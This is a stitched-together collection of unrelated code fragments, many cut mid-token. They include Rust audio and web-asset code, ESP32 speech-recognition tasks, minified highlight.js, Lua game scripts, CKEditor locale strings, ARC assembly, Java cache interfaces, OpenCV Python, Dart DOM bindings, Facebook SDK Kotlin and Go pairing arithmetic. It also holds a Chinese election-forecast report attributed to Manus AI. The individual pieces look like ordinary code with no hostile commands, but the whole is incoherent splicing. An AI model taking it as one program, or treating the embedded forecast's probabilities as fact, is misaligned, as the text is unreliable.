itude,
            duty_cycle,
        }
    }

    /// Reads PCM frames from the square wave and adds them to `output_frames`.
    /// This function expects that the format of `output_frames` is f32.
    pub fn add_pcm_frames(&mut self, output_frames: &mut FramesMut) {
        let d = 1.0 - self.duty_cycle;
        for frame in output_frames.frames_mut::<f32>() {
            let v = if (self.time * self.frequency).fract() < d {
                -self.amplitude
            } else {
                self.amplitude
            };
            self.time += self.advance;

            for sample in frame.iter_mut() {
                *sample += v;
            }
        }
    }
}
<reponame>ohsayan/jotsy
/*
 * Copyright (c) 2022, <NAME> <<EMAIL>>
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
*/

use axum::{
    http::header::{self, HeaderMap, HeaderValue},
    response::IntoResponse,
};

const CSS_INDEX_LOGIN: &str = include_str!("../../static/css/login.css");
const CSS_INDEX_APP: &str = include_str!("../../static/css/app.css");
const JS_INDEX_LOGIN: &str = include_str!("../../static/js/login.js");
const JS_INDEX_APP: &str = include_str!("../../static/js/app.js");
const IMG_FAVICON: &[u8] = include_bytes!("../../static/favicon.ico");

async fn asset(source: &'static [u8], ty: &'static str) -> impl IntoResponse {
    let mut headermap = HeaderMap::new();
    headermap.insert(header::CONTENT_TYPE, HeaderValue::from_static(ty));
    (headermap, source)
}

async fn css(source: &'static str) -> impl IntoResponse {
    asset(source.as_bytes(), mime::TEXT_CSS.as_ref()).await
}

async fn js(source: &'static str) -> impl IntoResponse {
    asset(source.as_bytes(), mime::TEXT_JAVASCRIPT.as_ref()).await
}

pub async fn index_login_css() -> impl IntoResponse {
    css(CSS_INDEX_LOGIN).await
}

pub async fn index_login_js() -> impl IntoResponse {
    js(JS_INDEX_LOGIN).await
}

pub async fn index_app_js() -> impl IntoResponse {
    js(JS_INDEX_APP).await
}

pub async fn favicon() -> impl IntoResponse {
    asset(IMG_FAVICON, "image/x-icon").await
}

pub async fn index_app_css() -> impl IntoResponse {
    css(CSS_INDEX_APP).await
}
<gh_stars>1-10
use crate::{
    branch::BranchPredictor,
    inst::{
        AbsPc, ArchReg, BothReg, Inst, MemRef, PhysReg, RenamedInst, Tag, ValueOrReg, INST_SIZE,
    },
    mem,
    util::Addr,
};
use hashbrown::HashMap;
use std::{collections::VecDeque, fmt};
use strum::IntoEnumIterator;

#[derive(Clone, Default)]
pub struct RegSet {
    regs: HashMap<ArchReg, u32>,
}

type AliasTable = HashMap<ArchReg, Phys


ultinet->get_results(model_data);
                printf("timeout, string:%s\n", mn_result->string);
                afe_handle->enable_wakenet(afe_data);
                detect_flag = 0;
                printf("\n-----------awaits to be waken up-----------\n");
                continue;
            }
        }
    }
    if (model_data) {
        multinet->destroy(model_data);
        model_data = NULL;
    }
    printf("detect exit\n");
    vTaskDelete(NULL);
}

void app_main()
{
    models = esp_srmodel_init("model");
    ESP_ERROR_CHECK(esp_board_init(AUDIO_HAL_16K_SAMPLES, 1, 16));
    // ESP_ERROR_CHECK(esp_sdcard_init("/sdcard", 10));
#if defined CONFIG_ESP32_KORVO_V1_1_BOARD
    led_init();
#endif

    afe_handle = (esp_afe_sr_iface_t *)&ESP_AFE_SR_HANDLE;
    afe_config_t afe_config = AFE_CONFIG_DEFAULT();

    afe_config.wakenet_model_name = esp_srmodel_filter(models, ESP_WN_PREFIX, NULL);;
#if defined CONFIG_ESP32_S3_BOX_BOARD || defined CONFIG_ESP32_S3_BOX_LITE_BOARD || defined CONFIG_ESP32_S3_EYE_BOARD
    afe_config.aec_init = false;
    #if defined CONFIG_ESP32_S3_EYE_BOARD
        afe_config.pcm_config.total_ch_num = 2;
        afe_config.pcm_config.mic_num = 1;
        afe_config.pcm_config.ref_num = 1;
    #endif
#endif
    afe_data = afe_handle->create_from_config(&afe_config);

    task_flag = 1;
    xTaskCreatePinnedToCore(&detect_Task, "detect", 8 * 1024, (void*)afe_data, 5, NULL, 1);
    xTaskCreatePinnedToCore(&feed_Task, "feed", 8 * 1024, (void*)afe_data, 5, NULL, 0);

#if defined  CONFIG_ESP32_S3_KORVO_1_V4_0_BOARD || defined CONFIG_ESP32_KORVO_V1_1_BOARD
    xTaskCreatePinnedToCore(&led_Task, "led", 2 * 1024, NULL, 5, NULL, 0);
#endif
#if defined  CONFIG_ESP32_S3_KORVO_1_V4_0_BOARD || CONFIG_ESP32_S3_KORVO_2_V3_0_BOARD || CONFIG_ESP32_KORVO_V1_1_BOARD
    xTaskCreatePinnedToCore(&play_music, "play", 2 * 1024, NULL, 5, NULL, 1);
#endif

    // You can call afe_handle->destroy to destroy AFE.
//    vTaskDelay(2000 / portTICK_PERIOD_MS);
//    task_flag = 0;
//
//    printf("destroy\n");
//    afe_handle->destroy(afe_data);
//    afe_data = NULL;
//    printf("successful\n");
}


\B\b/,c:[e.inherit(e.TM,{b:i,endsParent:!0})],r:5},{cN:"symbol",b:e.UIR+"(\\!|\\?)?:",r:0},{cN:"symbol",b:":",c:[l,{b:i}],r:0},{cN:"number",v:[{b:"\\b0b([01_]*[01])"+b},{b:"\\b0o([0-7_]*[0-7])"+b},{b:"\\b0x([A-Fa-f0-9_]*[A-Fa-f0-9])"+b},{b:"\\b(([0-9][0-9_]*[0-9]|[0-9])(\\.[0-9_]*[0-9])?([eE][+-]?[0-9_]*[0-9])?)"+b}],r:0}];return t.c=f,a.c=f.slice(1),{aliases:["cr"],l:c,k:s,c:f}});import Clipboard from 'clipboard'
import { showSnackbar } from '../Layout/Snackbar'

export function shareLink(
  themeDisplayName,
  checkOutTranslation,
  url,
  shareSuccess,
  shareError,
  copy,
  clipboardSuccess,
  clipboardFail,
) {
  const shareButton = document.querySelector('#top-app-bar__btn-share')
  const shareButtonText = document.querySelector('#top-app-bar__btn-share-text')
  if (navigator.share) {
    shareButton.addEventListener('click', function () {
      navigator
        .share({
          title: themeDisplayName,
          text: checkOutTranslation,
          url,
        })
        .then(() => {
          showSnackbar('#share-snackbar', shareSuccess)
        })
        .catch((e) => {
          console.error(e)
          showSnackbar('#share-snackbar', shareError)
        })
    })
  } else {
    // Web Share API is still very limited - provide copy action as fallback
    shareButtonText.textContent = copy
    const cb = new Clipboard('#top-app-bar__btn-share')
    cb.on('success', function () {
      showSnackbar('#share-snackbar', clipboardSuccess)
    })
    cb.on('error', function () {
      showSnackbar('#share-snackbar', clipboardFail)
    })
  }
}
import { jwtDecode } from 'jwt-decode'
import { deleteCookie, getCookie, setCookie } from './CookieHelper'

export class TokenExpirationHandler {
  constructor() {
    const routingDataset = document.getElementById('js-api-routing').dataset
    this.baseUrl = routingDataset.baseUrl
    this.indexPath = routingDataset.index
    this.authenticationRefreshPath = routingDataset.authenticationRefresh
    this.checkBearerTokenExpiration()
    this.interval = this.setScopedInterval(this.checkBearerTokenExpiration, 60000, this)
  }

  checkBearerTokenExpiration() {
    const refreshToken = getCookie('REFRESH_TOKEN')
    if (!refreshToken)


-----------------------------------
--- Euvhi Family Mixin
--  https://ffxiclopedia.fandom.com/wiki/Category:Euvhi
--  https://www.bg-wiki.com/ffxi/Category:Euvhi
--  Euvhi open mouth after 80 seconds, and deal 1.5% base damage
--  Close mouth after taking 350 damage
-----------------------------------
require('scripts/globals/mixins')
-----------------------------------

g_mixins = g_mixins or {}
g_mixins.families = g_mixins.families or {}

local function isMouthOpen(mob)
    local animSub = mob:getAnimationSub()

    -- 2nd bit (0b010) high indicates open
    if bit.band(animSub, 0x02) == 0x02 then
        return true
    end

    return false
end

local function openMouth(mob)
    local damage = 1 + mob:getMainLvl() / 2
    mob:setMobMod(xi.mobMod.WEAPON_BONUS, damage)
    mob:setAnimationSub(2) -- TODO: the db.. mobs start with animsub 4 or 6? shouldn't even be possible
    mob:wait(2000)
end

local function closeMouth(mob)
    mob:setMobMod(xi.mobMod.WEAPON_BONUS, 0)
    mob:setLocalVar('[euvhi]changeTime', GetSystemTime() + 80)
    mob:setLocalVar('closeMouth', 0)
    mob:setAnimationSub(1) -- TODO: db shows animsub 5?
    mob:wait(2000)
end

local function setAggressiveness(mob)
    if isMouthOpen(mob) then
        mob:setAggressive(true)
    else
        mob:setAggressive(false)
    end
end

g_mixins.families.euvhi = function(euvhiMob)
    euvhiMob:addListener('SPAWN', 'EUVHI_S


預測報告
- [x] 撰寫報告meta資訊
- [x] 撰寫個別罷免案成功機率分析
- [x] 撰寫公投成功機率分析
- [x] 撰寫優劣勢摘要說明
- [x] 撰寫關鍵觀察指標
- [x] 撰寫雙方可能採取的行動評估

## 第五階段：檢查TODO並完善報告內容
- [x] 檢查所有TODO項目完成情況
- [x] 補充遺漏內容
- [x] 最終校對

## 第六階段：向用戶交付最終報告
- [x] 確認報告格式符合要求
- [x] 提供最終報告檔案

# 8月23日台灣第二波罷免投票與核三公投綜合預測報告

**作者：** Manus AI
**報告日期：** 2025年8月10日
**目標群體：** 政治研究所學生

---

## 摘要

本報告針對2025年8月23日即將舉行的台灣第二波立委罷免投票與核三延役公投進行綜合分析與預測。透過深度資料蒐集、民調分析、政治背景研究及數學模型建構，本研究預測**第二波罷免案成功機率極低（平均0-3%）**，而**核三公投通過機率約為63.7%**。

研究發現，第一波罷免全敗對第二波造成顯著負面影響，加上深藍選區特性、沉默螺旋效應及核三公投分散注意力等因素，使得罷免案面臨極大挑戰。相對地，核三公投在66.4%民調支持度及跨黨派民意支持下，具備較高通過可能性，但仍需克服25%投票門檻的制度性障礙。

本報告提供詳細的優劣勢分析、關鍵觀察指標及策略行動預測，為政治研究提供實證基礎與理論框架。

---

## 目錄

1. [研究背景與方法](#研究背景與方法)
2. [第二波罷免案分析](#第二波罷免案分析)
3. [核三公投分析](#核三公投分析)
4. [成功機率預測模型](#成功機率預測模型)
5. [優劣勢分析](#優劣勢分析)
6. [�


nije pronađen.","replace":"Zamijeni","replaceAll":"Zamijeni sve","replaceSuccessMsg":"Zamijenjeno %1 pojmova.","replaceWith":"Zamijeni s:","title":"Pronađi i zamijeni"},"fakeobjects":{"anchor":"Sidro","flash":"Flash animacija","hiddenfield":"Sakriveno polje","iframe":"IFrame","unknown":"Nepoznati objekt"},"flash":{"access":"Script Access","accessAlways":"Uvijek","accessNever":"Nikad","accessSameDomain":"Ista domena","alignAbsBottom":"Abs dolje","alignAbsMiddle":"Abs sredina","alignBaseline":"Bazno","alignTextTop":"Vrh teksta","bgcolor":"Boja pozadine","chkFull":"Omogući Fullscreen","chkLoop":"Ponavljaj","chkMenu":"Omogući Flash izbornik","chkPlay":"Auto Play","flashvars":"Varijable za Flash","hSpace":"HSpace","properties":"Flash svojstva","propertiesTab":"Svojstva","quality":"Kvaliteta","qualityAutoHigh":"Auto High","qualityAutoLow":"Auto Low","qualityBest":"Best","qualityHigh":"High","qualityLow":"Low","qualityMedium":"Medium","scale":"Omjer","scaleAll":"Prikaži sve","scaleFit":"Točna veličina","scaleNoBorder":"Bez okvira","title":"Flash svojstva","vSpace":"VSpace","validateHSpace":"HSpace mora biti broj.","validateSrc":"Molimo upišite URL link","validateVSpace":"VSpace mora biti broj.","windowMode":"Vrsta prozora","windowModeOpaque":"Opaque","windowModeTransparent":"Transparent","windowModeWindow":"Window"},"font":{"fontSize":{"label":"Veličina","voiceLabel":"Veličina slova","panelTitle":"Veličina"},"label":"Font","panelTitle":"Font","voiceLabel":"Font"},"forms":{"button":{"title":"Button svojstva","text":"Tekst (vrijednost)","type":"Vrsta","typeBtn":"Gumb","typeSbm":"Pošalji","typeRst":"Poništi"},"checkboxAndRadio":{"checkboxTitle":"Checkbox svojstva","radioTitle":"Radio Button svojstva","value":"Vrijednost","selected":"Odabrano","required":"Required"},"form":{"title":"Form svojstva","menu":"Form svojstva","action":"Akcija","method":"Metoda","encoding":"Encoding"},"hidden":{"title":"Hidden Field svojstva","name":"Ime","value":"Vrijednost"},"select":{"title":"Selection svojstva","selectInfo":"Info","opAvail":"Dostupne opcije","value":"Vrijednost","size":"Veličina","lines":"linija","chkMulti":"Dozvoli višestruki odabir","required":"Required","opText":"Tekst","opValue":"Vrijednost","btnAdd":"Dodaj","btnModify":"Promijeni","btnUp":"Gore","btnDown":"Dolje","btnSetValue":"Postavi kao odabranu vrijednost","btnDelete":"Obriši"},"textarea":{"title":"Textarea svojstva","cols":"Kolona","rows":"Redova"},"textfield":{"title":"Text Field svojstva","name":"Ime","value":"Vrijednost","charWidth":"Širina","maxChars":"Najviše karaktera","required":"Required","type":"Vrsta","typeText":"Tekst","typePass":"Šifra","typeEmail":"Email","typeSearch":"Traži","typeTel":"Broj telefona","typeUrl":"URL"}},"format":{"label":"Format","panelTitle":"Format","tag_address":"Address","tag_div":"Normal (DIV)","tag_h1":"Heading 1


31_bytes:
	bbit0.d	r2, 2, @1f		; is b2 set? then copy 4 bytes
	lsr	    r12, r2, 3		; see the notes below
	ld.ab	r4, [r1, 4]
	st.ab	r4, [r3, 4]
1:
	bbit0.d	r2, 1, @1f		; is b1 set? then copy 2 bytes
	xor	    r12, r12, 3
	ldh.ab	r4, [r1, 2]
	sth.ab	r4, [r3, 2]
1:
	bbit0.d	r2, 0, @1f		; is b0 set? then copy 1 byte
	asl	    r12, r12, 1
	ldb.ab	r4, [r1, 1]
	stb.ab	r4, [r3, 1]

; Interpreting bits (b4,b3) [1] and how they correlate to branch index:
;
; (b4,b3) | bytes to copy | branch index
; --------+---------------+-------------
;   00b   |       0       |   3 (11b)
;   01b   |       8       |   2 (10b)
;   10b   |      16       |   1 (01b)
;   11b   |      24       |   0 (00b)
;
; To go from (b4,b3) to branch index, the bits must be flipped.
; In other words, they must be XORed with 11b [2].
;
; Last but not least, "bi" jumps at boundaries of 4. We need to double
; the index to jump 8 bytes [3].
;
; Hence, the 3 operations for calculating the branch index that are spread
; in "bbit0" delay slots:
;
;	lsr


import java.util.List;
import java.util.Map;

import com.sohu.cache.constant.AppDataMigrateEnum;
import com.sohu.cache.constant.AppDataMigrateResult;
import com.sohu.cache.constant.CommandResult;
import com.sohu.cache.constant.RedisMigrateToolConstant;
import com.sohu.cache.entity.AppDataMigrateSearch;
import com.sohu.cache.entity.AppDataMigrateStatus;

/**
 * 数据迁移
 *
 * @author leifu
 * @Date 2016-6-8
 * @Time 下午2:54:33
 */
public interface AppDataMigrateCenter {

    /**
     * 检查配置
     *
     * @param migrateMachineIp
     * @param sourceRedisMigrateEnum
     * @param sourceServers
     * @param targetRedisMigrateEnum
     * @param targetServers
     * @param redisSourcePass
     * @param redisTargetPass
     * @return
     */
    AppDataMigrateResult check(String migrateMachineIp, AppDataMigrateEnum sourceRedisMigrateEnum, String sourceServers,
            AppDataMigrateEnum targetRedisMigrateEnum, String targetServers, String redisSourcePass, String redisTargetPass);

    /**
     * 开始迁移
     *
     * @param migrateMachineIp
     * @param sourceRedisMigrateEnum
     * @param sourceServers
     * @param targetRedisMigrateEnum
     * @param targetServers
     * @param redisSourcePass
     * @param targetSourcePass
     * @return
     */
    boolean migrate(String migrateMachineIp, AppDataMigrateEnum sourceRedisMigrateEnum, String sourceServers,
            AppDataMigrateEnum targetRedisMigrateEnum, String targetServers, long sourceAppId, long targetAppId, String redisSourcePass, String targetSourcePass, long userId);

    /**
     * 搜索列表
     * @param appDataMigrateSearch
     * @return
     */
	List<AppDataMigrateStatus> search(AppDataMigrateSearch appDataMigrateSearch);

    /**
     * 查看日志
     * @param id
     * @param pageSize
     * @return
     */
    String showDataMigrateLog(long id, int pageSize);

    /**
     * 查看配置
     * @param id
     * @return
     */
    String showDataMigrateConf(long id);

    /**
     * 查询迁移工具的实时状态
     * @param id
     * @return
     */
    Map<RedisMigrateToolConstant, Map<String, Object>> showMiragteToolProcess(long id);

    /**
     * 比较源和目标的样本数据
     * @param id
     * @param nums
     * @return
     */
    CommandResult sampleCheckData(long id, int nums);

    /**
     * 关闭迁移
     * @param id
     * @return
     */
    AppDataMigrateResult stopMigrate(long id);

}
package com.sohu.cache.stats.instance.impl;

import com.sohu.cache.constant.AppCheckEnum;
import com.sohu.cache.constant.InstanceStatusEnum;
import com.sohu.cache.dao.AppAuditDao;
import com.sohu.cache.dao.InstanceDao;
import com.sohu.cache.entity.InstanceInfo;
import com.sohu.cache.machine.MachineCenter;
import com.sohu.cache.protocol.RedisProtocol;
import com.sohu.cache.redis.RedisCenter;
import com.sohu.cache.redis.RedisDeployCenter;
import com.sohu.cache.stats.instance.InstanceDeployCenter;
import com.sohu.cache.util.TypeUtil;

import org.apache.commons.lang.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.util.Assert;

/**
 * Created by yijunzhang on 14-11-26.
 */
public class InstanceDeployCenterImpl implements InstanceDeployCenter {

    private final Logger logger = LoggerFactory.getLogger(this.getClass());

    private InstanceDao instanceDao;

    pri


am self
-- @param #int tag
-- @param #color3b_table color
-- @param #unsigned char opacity
-- @return bool#bool ret (return value: bool)

--------------------------------
--
-- @function [parent=#RichElement] setColor
-- @param self
-- @param #color3b_table color
-- @return RichElement#RichElement self (return value: ccui.RichElement)

--------------------------------
-- brief Default constructor.

-- js ctor

-- lua new
-- @function [parent=#RichElement] RichElement
-- @param self
-- @return RichElement#RichElement self (return value: ccui.RichElement)

return nil


import cv2
import numpy as np

cap=cv2.VideoCapture("car.mp4")

subtractor=cv2.createBackgroundSubtractorMOG2(history=100,varThreshold=120,detectShadows=True)

while 1:
    ret,frame=cap.read()
    frame=cv2.resize(frame,(640,480))

    mask=subtractor.apply(frame)

    cv2.imshow("Frame",frame)
    cv2.imshow("mask",mask)

    if cv2.waitKey(20) & 0xFF==ord('q'):
        break

cap.release()
cv2.destroyAllWindows()

                    ##İkinci Yol##
# cap=cv2.VideoCapture("C:\\Users\\Efe\\Desktop\\Okul\\Genel Programlama Dersleri\\Python_Library\\OpenCv\\images\\car.mp4")

# f_ret,f_frame=cap.read()
# f_frame=cv2.resize(f_frame,(640,480))

# f_gray=cv2.cvtColor(f_frame,cv2.COLOR_BGR2GRAY)

# f_gray=cv2.GaussianBlur(f_gray,(5,5),0)

# while 1 :

#     ret,frame=cap.read()
#     frame=cv2.resize(frame,(640,480))

#     gray=cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)
#     gray=cv2.GaussianBlur(gray,(5,5),0)

#     diff =cv2.absdiff(f_gray,gray)

#     _,diff=cv2.threshold(diff,61,255,cv2.THRESH_BINARY)

#     cv2.imshow("Pencere",frame)
#     cv2.imshow("Fark",diff)
#     cv2.imshow("First",f_frame)

#     if cv2.waitKey(20) & 0xFF==ord('q'):
#         break

# cap.release()
# cv2.destroyAllWindows()


ribute's
  /// supported tokens.
  /// This method is intended to support feature detection.
  external bool supports(String token);

  /// The read-only **`length`** property of the [DOMTokenList] interface is an
  /// `integer` representing the number
  /// of objects stored in the object.
  external int get length;

  /// The **`value`** property of the [DOMTokenList]
  /// interface is a  that returns the value of the list serialized as a
  /// string, or clears and sets the list to the given value.
  external String get value;
  external set value(String value);
}

/// The **`XPathResult`** interface represents the results generated by
/// evaluating an XPath expression within the context of a given node.
///
/// Since XPath expressions can result in a variety of result types, this
/// interface makes it possible to determine and handle the type and value of
/// the result.
///
/// ---
///
/// API documentation sourced from
/// [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/API/XPathResult).
extension type XPathResult._(JSObject _) implements JSObject {
  static const int ANY_TYPE = 0;

  static const int NUMBER_TYPE = 1;

  static const int STRING_TYPE = 2;

  static const int BOOLEAN_TYPE = 3;

  static const int UNORDERED_NODE_ITERATOR_TYPE = 4;

  static const int ORDERED_NODE_ITERATOR_TYPE = 5;

  static const int UNORDERED_NODE_SNAPSHOT_TYPE = 6;

  static const int ORDERED_NODE_SNAPSHOT_TYPE = 7;

  static const int ANY_UNORDERED_NODE_TYPE = 8;

  static const int FIRST_ORDERED_NODE_TYPE = 9;

  /// The **`iterateNext()`** method of the
  /// [XPathResult] interface iterates over a node set result and returns the
  /// next node from it or `null` if there are no more nodes.
  external Node? iterateNext();

  /// The **`snapshotItem()`** method of the
  /// [XPathResult] interface returns an item of the snapshot collection or
  /// `null` in case the index is not within the range of nodes. Unlike the
  /// iterator result, the snapshot does not become invalid, but may not
  /// correspond to the
  /// current document if it is mutated.
  external Node? snapshotItem(int index);

  /// The read-only **`resultType`** property of the
  /// [XPathResult] interface represents the type of the result, as defined by
  /// the type constants.
  external int get resultType;

  /// The read-only **`numberValue`** property of the
  /// [XPathResult] interface returns the numeric value of a result with
  /// [XPathResult.resultType] being `NUMBER_TYPE`.
  external double get numberValue;

  /// The read-only **`stringValue`** property of the
  /// [XPathResult] interface returns the string value of a result with
  /// [XPathResult.resultType] being `STRING_TYPE`.
  external String get stringValue;

  /// The read-only **`booleanValue`** property of the
  /// [XPathResult] interface returns the boolean value of a result with
  /// [XPathResult.resultType] being `BOOLEAN_TYPE`.
  external bool get booleanValue;

  /// The read-only **`singleNodeValue`** property of the
  /// [XPathResult] interface returns a [Node] value or
  /// `null` in case no node was matched of a result with
  /// [XPathResult.resultType] being `ANY_UNORDERED_NODE_TYPE` or
  /// `FIRST_ORDERED_NODE_TYPE`.
  external Node? get singleNodeValue;

  /// The read-only **`invalidIteratorState`** property of the
  /// [XPathResult] interface signifies that the iterator has become invalid. It
  /// is `true` if [XPathResult.resultType] is
  /// `UNORDERED_NODE_ITERATOR


"f" == data || "m" == data) {
        data
      } else {
        Log.e(TAG, "Setting gender failure: the supported value for gender is f or m")
        ""
      }
    }
    return data
  }

  private fun maybeSHA256Hashed(data: String): Boolean {
    return data.matches(Regex("[A-Fa-f0-9]{64}"))
  }
}
/*
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 * All rights reserved.
 *
 * This source code is licensed under the license found in the
 * LICENSE file in the root directory of this source tree.
 */

package com.facebook.appevents

import android.content.Context
import com.facebook.GraphRequest
import com.facebook.appevents.eventdeactivation.EventDeactivationManager.processEvents
import com.facebook.appevents.internal.AppEventsLoggerUtility
import com.facebook.appevents.internal.AppEventsLoggerUtility.getJSONObjectForGraphAPICall
import com.facebook.internal.AttributionIdentifiers
import com.facebook.internal.FeatureManager
import com.facebook.internal.FeatureManager.isEnabled
import com.facebook.internal.instrument.crashshield.AutoHandleExceptions
import org.json.JSONArray
import org.json.JSONException
import org.json.JSONObject

@AutoHandleExceptions
internal class SessionEventsState(
    private val attributionIdentifiers: AttributionIdentifiers,
    private val anonymousAppDeviceGUID: String
) {
    private var accumulatedEvents: MutableList<AppEvent> = mutableListOf()
    private val inFlightEvents: MutableList<AppEvent> = mutableListOf()
    private var numSkippedEventsDueToFullBuffer = 0

    // Synchronize here and in other methods on this class, because could be coming in from
    // different AppEventsLoggers on different threads pointing at the same session.
    @Synchronized
    fun addEvent(event: AppEvent) {
        if (accumulatedEvents.size + inFlightEvents.size >= MAX_ACCUMULATED_LOG_EVENTS) {
            numSkippedEventsDueToFullBuffer++
        } else {
            accumulatedEvents.add(event)
        }
    }

    @get:Synchronized
    val accumulatedEventCount: Int
        get() = accumulatedEvents.size

    @Synchronized
    fun clearInFlightAndStats(moveToAccumulated: Boolean) {
        if (moveToAccumulated) {
            accumulatedEvents.addAll(inFlightEvents)
        }
        inFlightEvents.clear()
        numSkippedEventsDueToFullBuffer = 0
    }

    fun populateRequest(
        request: GraphRequest,
        applicationContext: Context,
        includeImplicitEvents: Boolean,
        limitEventUsage: Boolean
    ): Int {
        var numSkipped: Int
        var jsonArray: JSONArray
        var operationalJsonArray: JSONArray
        synchronized(this) {
            numSkipped = numSkippedEventsDueToFullBuffer

            // drop deprecated events
            processEvents(accumulatedEvents)

            // move all accumulated events to inFlight.
            inFlightEvents.addAll(accumulatedEvents)
            accumulatedEvents.clear()
            jsonArray = JSONArray()
            operationalJsonArray = JSONArray()
            for (event in inFlightEvents) {
                if (includeImplicitEvents || !event.isImplicit) {
                    jsonArray.put(event.jsonObject)
                    operationalJsonArray.put(event.operationalJsonObject)
                }
            }
            if (jsonArray.length() == 0) {
                return 0
            }
        }
        populateRequest(
            request,
            applicationContext,
            numSkipped,
            jsonArray,
            operationalJsonArray,


1 instanceof UIntPrimitiveType && t2 instanceof MoneyPrimitiveType) ||
    (t1 instanceof BigIntPrimitiveType && t2 instanceof UIntPrimitiveType) ||
    (t1 instanceof BigIntPrimitiveType && t2 instanceof IntPrimitiveType) ||
    (t1 instanceof BigIntPrimitiveType && t2 instanceof MoneyPrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof BigIntPrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof UuidPrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof XmlPrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof DatePrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof DateTimePrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof CpfPrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof CnpjPrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof HexPrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof HtmlPrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof Base64PrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof BytesPrimitiveType) ||
    (t1 instanceof Base64PrimitiveType && t2 instanceof BytesPrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof UrlPrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof EmailPrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof DecimalPrimitiveType) ||
    (t1 instanceof StringPrimitiveType && t2 instanceof EnumType)
  ) {
    return;
  }

  if (t1 instanceof EnumType && t2 instanceof EnumType) {
    for (const value of t2.values) {
      const other = t1.values.find(v => v.value === value.value);

      if (other) {
        checkServerToClient(`${path}.${value.value}`, issues, other.struct ?? new StructType([]), value.struct ?? new StructType([]));
      } else {
        issues.push(`The enum at ${path} now has the value "${value.value}" that didn't exist before. Client will crash if it receives it`);
      }
    }

    return;
  }

  if (t1.constructor.name === t2.constructor.name) {
    return;
  }

  issues.push(`${path} was ${t1.name} and now it is ${t2.name}. They are not compatible.`);
}

export function compatibilityIssues(ast1: AstRoot, ast2: AstRoot): string[] {
  const issues: string[] = [];

  for (const op1 of ast1.operations) {
    const op2 = ast2.operations.find(x => x.name === op1.name);

    if (!op2) {
      issues.push(`function ${op1.name} used to exist, but it's now missing. Add it back.`);
      continue;
    }

    checkServerToClient(`${op1.name}.ret`, issues, op1.returnType, op2.returnType);
    for (const arg2 of op2.args) {
      const arg1 = op1.args.find(x => x.name === arg2.name);

      if (!arg1) {
        if (arg2.type instanceof OptionalType) {
          continue;
        } else {
          issues.push(`${op1.name}.args.${arg2.name} didn't exist before and isn't optional. Make it optional.`);
          continue;
        }
      }

      checkClientToServer(`${op1.name}.args.${arg1.name}`, issues, arg1.type, arg2.type);
    }
  }

  for (const err1 of ast1.errors) {
    const err2 = ast2.errors.find(x => x.name === err1.name);

    if (!err2) {
      continue;
    }

    checkServerToClient(`${err1.name}.data`, issues, err1.dataType, err2.dataType);
  }

  return issues;
}
class DeCasteljau


yElement(
						&lines[k][1][i].R0,
						&xNegOverY[k],
					)
				lines[k][1][i].R1.
					MulByElement(
						&lines[k][1][i].R1,
						&yInv[k],
					)
				// ℓ × ℓ
				prodLines = fptower.Mul34By34(
					&lines[k][0][i].R0, &lines[k][0][i].R1,
					&lines[k][1][i].R0, &lines[k][1][i].R1,
				)
				// (ℓ × ℓ) × res
				result.MulBy01234(&prodLines)
			}
		}
	}

	// Compute  ∏ᵢ { ℓᵢ_{[6x₀+2]Q,π(Q)}(P) · ℓᵢ_{[6x₀+2]Q+π(Q),-π²(Q)}(P) }
	for k := 0; k < n; k++ {
		// line evaluation at P[k]
		lines[k][1][65].R0.
			MulByElement(
				&lines[k][1][65].R0,
				&xNegOverY[k],
			)
		lines[k][1][65].R1.
			MulByElement(
				&lines[k][1][65].R1,
				&yInv[k],
			)
		// line evaluation at P[k]
		lines[k][0][65].R0.
			MulByElement(
				&lines[k][0][65].R0,
				&xNegOverY[k],
			)
		lines[k][0][65].R1.
			MulByElement(
				&lines[k][0][65].R1,
				&yInv[k],
			)
		// ℓ × ℓ
		prodLines = fptower.Mul34By34(
			&lines[k][1][65].R0, &lines[k][1][65].R1,
			&lines[k][0][65].R0, &lines[k][0][65].R1,
		)
		// (ℓ × ℓ) × res
		result.MulBy01234(&prodLines)
	}

	return result, nil
}

func (p *G2Affine) doubleStep(evaluations *LineEvaluationAff) {

	var n, d, λ, xr, yr fptower.E2
	// λ = 3x²/2y
	n.Square(&p.X)
	λ.Double(&n).
		Add(&λ, &n)
	d.Double(&p.Y)
	λ.Div(&λ, &d)

	// xr = λ²-2x
	xr.Square(&λ).
		Sub(&xr, &p.X).
		Sub(&xr, &p.X)

	// yr = λ(x-xr)-y
	yr.Sub(&p.X, &xr).
		Mul(&yr, &λ).
		Sub(&yr, &p.Y)

	evaluations.R0.Set(&λ)
	evaluations.R1.Mul(&λ, &p.X).
		Sub(&evaluations.R1, &p.Y)

	p.X.Set(&xr)
	p.Y.Set(&yr)
}

func (p *G2Affine) addStep(evaluations *LineEvaluationAff, a *G2Affine) {
	var n, d, λ, λλ, xr, yr fptower.E2

	// compute λ = (y2-y1)/(x2-x1)
	n.Sub(&a.Y, &p.Y)
	d.Sub(&a.X, &p.X)
	λ.Div(&n, &d)

	// xr = λ²-x1-x2
	λλ.Square(&λ)
	n.Add(&p.X, &a.X)
	xr.Sub(&λλ, &n)

